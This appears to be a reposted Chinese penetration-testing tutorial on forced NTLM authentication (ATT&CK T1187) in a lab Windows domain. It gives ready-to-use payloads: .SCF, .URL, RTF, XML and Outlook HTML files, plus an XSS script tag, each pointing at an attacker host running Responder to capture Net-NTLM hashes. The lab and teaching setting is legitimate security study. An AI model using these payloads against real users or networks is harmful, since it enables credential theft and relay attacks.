T1187 强制 NTLM 认证

Posted TimeShatter

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了T1187 强制 NTLM 认证相关的知识,希望对你有一定的参考价值。

在上一篇文章 一文理解 Windows 身份验证原理 介绍了什么是 NTLM 以及一些利用 NTLM 进行更一步获取权限的方式,其中就有 NTLM 中继、 Net-NTLM hash 破解。但实现这些利用,需要发起 NTLM 请求,本文章介绍下如何强制发起 NTLM 请求。

环境准备

本文章的环境是根据之前文章 搭建一个简单的Windows域环境 搭建的。先在 kali 上启动 Responder 来监听 Net-NTLM hash 。kali 的 ip 为 172.16.108.4

responder -I eth0


接着在 Windows Server 2012 域控主机上安装 office ,用于后续测试。
下面介绍一些强制进行 NTLM 认证的方式,让 Windows 2012 强制向 kali 主机发起 NTLM 请求,从而获取域控账号的 Net-NTLM hash,当然也可以进行 NTLM 中继攻击,具体方法请查看上一篇文章。

1. 通过超链接执行

让我们创建一个Word文档,该文档具有指向 kali 服务器的超链接


超链接地址为 \\172.16.108.4\\1.txt ,也就是 kali 服务器 Responder 的地址

在用户诱导点击后,会在 Responder 上收到发起的 NTLM 请求,成功获取 Net-NTLM hash

所以不要随便打开文档中的超链接,即使没病毒,也可能被进行强制认证。

2. 通过 .SCF 文件执行

编辑一个 fa.scf 文件,内容如下

[Shell]Command=2
IconFile=\\\\172.16.108.4\\nc.ico
[Taskbar]
Command=ToggleDesktop

当用户打开存放该文件的目录时,fa.scf 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证。也可以把该文件放在共享目录上,用户打开该共享目录时,就会进行强制认证。

可以先删除 Responder 的缓存再进行测试,不然会显示跳过之前捕获的 hash

rm /usr/share/responder/Responder.db

重新打开存在 fa.scf 文件的目录,或者点刷新,就可以发起 NTLM 认证了

3. 通过 .URL 文件执行

创建一个 a.url 文件,内容如下,并将其上传到受害者系统:

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\\\172.16.108.4\\1.icon
IconIndex=1

当用户打开存放该文件的目录时,a.url 会自动执行,自动解析图标所指的链接。迫使受害系统尝试在 Responder 正在侦听的 172.16.108.4 处对攻击系统进行 NTLM 身份验证

4. 通过.RTF文件执行

新建一个 file.rtf 文件,它将尝试从攻击系统加载图像:

{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}

在受害者系统上执行 file.rtf 会被强制进行 NTLM 认证:

5. 通过.XML 文件执行

Word文档可以另存为.xml

Word文档可以另存为.xml
可以通过包含一个从攻击者控制的服务器请求文档样式表的标签(第3行)来进行 NTLM 强制认证。 当打开该 xml 文档时,会进行 NTLM 认证。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><?mso-application progid="Word.Document"?><?xml-stylesheet type="text/xsl" href="\\\\172.16.108.4\\bad.xsl" ?>


6. 通过Field IncludePicture执行

创建一个新的Word文档并插入一个域IncludePicture:


将文件另存为.xml 或者 docx。 启动文档会进行强制 NTLM 认证

7. 通过 Outlook 执行

如果目标系统未运行最新版本的Windows / Outlook,则可以制作这样的电子邮件,使攻击者无需用户进行任何干预即可窃取受害者的 NetNTLMv2 哈希-单击电子邮件即可预览并发起强制 NTLM 认证。 请注意,此攻击不适用于Windows 10和Outlook 2016版本的最新版本,或者需要在outlook设置开启自动加载图片。

使用以下内容发送邮件到outlook:

<html><h1>holla good sir</h1><img src="file://172.16.108.4/download.jpg"></html>


RTF文件也可以使用:

{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://172.16.108.4/test.jpg" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}

在收到邮件后点击该邮件,会自动加载图片进行 NTLM 认证

8. 通过漏洞发起 NTLM请求

使用常见的Web漏洞,也可以发起 NTLM 请求,如 XSS、SSRF、XXE等可以导致服务器去访问一个URL的漏洞。以 XSS 为例,新建一个 html 文件。里面存在 XSS 利用代码

<html><script src="//172.16.108.4/1.js"><html/>

由于 Windows server 版本的 IE 启用了保护模式,所以需要关闭才可以自动加载外部脚本。

关闭后,打开 html 文件,即可进行 NTLM 认证


参考链接

https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication
https://www.anquanke.com/post/id/193493
https://attack.mitre.org/techniques/T1187/

本文章也在我的公众号发布

以上是关于T1187 强制 NTLM 认证的主要内容,如果未能解决你的问题,请参考以下文章

T1187 强制 NTLM 认证

如何使用httpclient进行NTLM认证登录

纯干货-内网渗透系列教程——NTLM 与 NTLM 身份认证

Windows安全认证是如何进行的?[NTLM篇]

windows认证原理-ntlm认证

NTLM认证流程详解